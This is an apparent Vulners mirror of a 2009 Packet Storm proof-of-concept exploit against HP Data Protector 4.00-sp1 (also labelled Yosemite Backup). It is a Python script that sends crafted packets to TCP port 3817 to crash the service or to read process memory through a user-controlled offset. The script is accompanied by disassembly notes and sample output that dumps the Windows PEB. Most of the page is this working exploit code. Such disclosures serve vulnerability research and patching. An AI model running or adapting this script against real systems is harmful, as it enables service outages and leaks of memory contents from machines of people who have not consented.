Lucene search
K

HP Data Protector 4.00-sp1 43064 Denial Of Service

🗓️ 24 Jun 2009 00:00:00Reported by NibinType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

HP Data Protector 4.00-sp1 43064 Denial Of Service memory disclosure vulnerability in dpwinsup module allows remote attackers to cause a denial of servic

Code
`#!/usr/bin/env python  
  
#POC Memory disclosure/ Denial Of Service  
#HP Data protector 4.00-sp1 43064  
#Tested for Windows Version Only  
  
  
'''  
Buggy code @dpwinsup module of dpwingad process running at 3817/TCP port dpwinsup.10275F80  
  
100DDE89 8B15 54A72210 MOV EDX,DWORD PTR DS:[1022A754]   
100DDE8F 8B82 98650000 MOV EAX,DWORD PTR DS:[EDX+6598]  
100DDE95 8B4C24 54 MOV ECX,DWORD PTR SS:[ESP+54] ;ECX = user controlled data  
100DDE99 8D1481 LEA EDX,DWORD PTR DS:[ECX+EAX*4] ;EDX = if invalid/valid offset   
100DDE9C 8B3495 F0A42210 MOV ESI,DWORD PTR DS:[EDX*4+1022A4F0] ;Crash/Memory Leak   
100DDEA3 83C4 1C ADD ESP,1C  
100DDEA6 897424 10 MOV DWORD PTR SS:[ESP+10],ESI  
  
'''  
  
import socket  
import sys  
import struct  
import time  
import getopt  
  
bf = ("\x54\x84\x00\x00" +  
"\x00\x00\x00\x00" +  
"\x06\x00\x00\x00" +  
"\x92\x00\x00\x00" +  
"data")  
  
  
ip = '192.168.0.14'  
port = 3817  
addr = (ip,port)  
mem_addr = 0x7ffdf000 #PEB for windows  
DEBUG = False  
  
  
def exploit_memory(ip_addr,read_mem):  
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s.connect((ip_addr,port))  
  
reqst = bf.replace("data","A"*130)  
#t = ((addr-1022AC80)/4 - 4)  
t = ((read_mem-0x1022A4F0)/4 - 4)  
print "0x%x" % t  
  
reqst = reqst[0:32] + struct.pack("<L",t) + reqst[36:]  
s.send(reqst)  
resp = s.recv(1000)  
leak = struct.unpack("<L",resp[32:36])  
#print type(leak[0])  
if DEBUG:  
print "Len of resp: %d" % len(resp)  
for i in range(0,len(resp)):  
if i % 16 ==0:  
print  
print "0x%02x" % struct.unpack("<B",resp[i]),  
print  
  
s.close()  
return leak[0]  
  
def dos_yosemite(ip_addr):  
print "[*] Sending DOS Exploit."  
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s.connect((ip_addr,port))  
reqst = bf.replace("data","A"*130)  
s.send(reqst)  
#resp = s.recv(1000)  
s.close()  
  
def main():  
try:  
opt, args = getopt.getopt(sys.argv[1:],"ht:e:",["help","target=","exploit="])  
if len(opt)==0:  
usage()  
sys.exit(0)  
except getopt.GetoptError,err:  
print str(err)  
usage()  
sys.exit(2)  
  
for o,a in opt:  
if o in ("-h","--help"):  
usage()  
sys.exit()  
elif o in ("-e","--exploit"):  
for opt_target,arg_target in opt:  
if opt_target in ("-t","--target"):  
if int(a) == 0: # DoS  
dos_yosemite(arg_target)  
sys.exit(0)  
elif int(a) == 1:  
print "[*] Dumping Memory..{PEB}"   
for i in range(0,int(0x50),4): #Poc to read the 80bytes from memory   
leak = exploit_memory(arg_target,mem_addr+i)  
time.sleep(0.5)  
print "0x%08x ---> 0x%08x" % ((mem_addr+i),leak)  
sys.exit()  
else:  
print "[*] Unknown Exploit type"  
usage()  
sys.exit()  
else:  
print "[*] Target Missing"  
usage()  
sys.exit()  
  
else:  
continue  
def usage():  
print "Yosemite DoS and Information Disclosure Exploit"  
#print "Yosemite backup standard v8.7 build 43905 Trial"  
#print "Tested for Windows Versions"  
print "Available Options"  
print "\t -t | --target target address"  
print "\t -e | --exploit { 0 - Dos \ 1 - Memory Leak }"  
print "\n"  
if __name__=='__main__':  
main()  
  
'''  
C:\pocs>python poc_yosemite.py -t 192.168.0.14 -e 1  
[*] Dumping Memory..{PEB}  
0x7ffdf000 ---> 0x0012fbc4  
0x7ffdf004 ---> 0x00130000  
0x7ffdf008 ---> 0x0012d000  
0x7ffdf00c ---> 0x00000000  
0x7ffdf010 ---> 0x00001e00  
0x7ffdf014 ---> 0x00000000  
0x7ffdf018 ---> 0x7ffdf000  
0x7ffdf01c ---> 0x00000000  
0x7ffdf020 ---> 0x00000c54  
0x7ffdf024 ---> 0x00000cfc  
0x7ffdf028 ---> 0x00000000  
0x7ffdf02c ---> 0x00000000  
0x7ffdf030 ---> 0x7ffdb000  
0x7ffdf034 ---> 0x00000000  
0x7ffdf038 ---> 0x00000000  
0x7ffdf03c ---> 0x00000000  
0x7ffdf040 ---> 0xe15b42a0  
0x7ffdf044 ---> 0x00000000  
0x7ffdf048 ---> 0x00000000  
0x7ffdf04c ---> 0x00000000  
  
C:\pocs>python poc_yosemite.py -t 192.168.0.14 -e 0  
[*] Sending DOS Exploit.  
'''  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation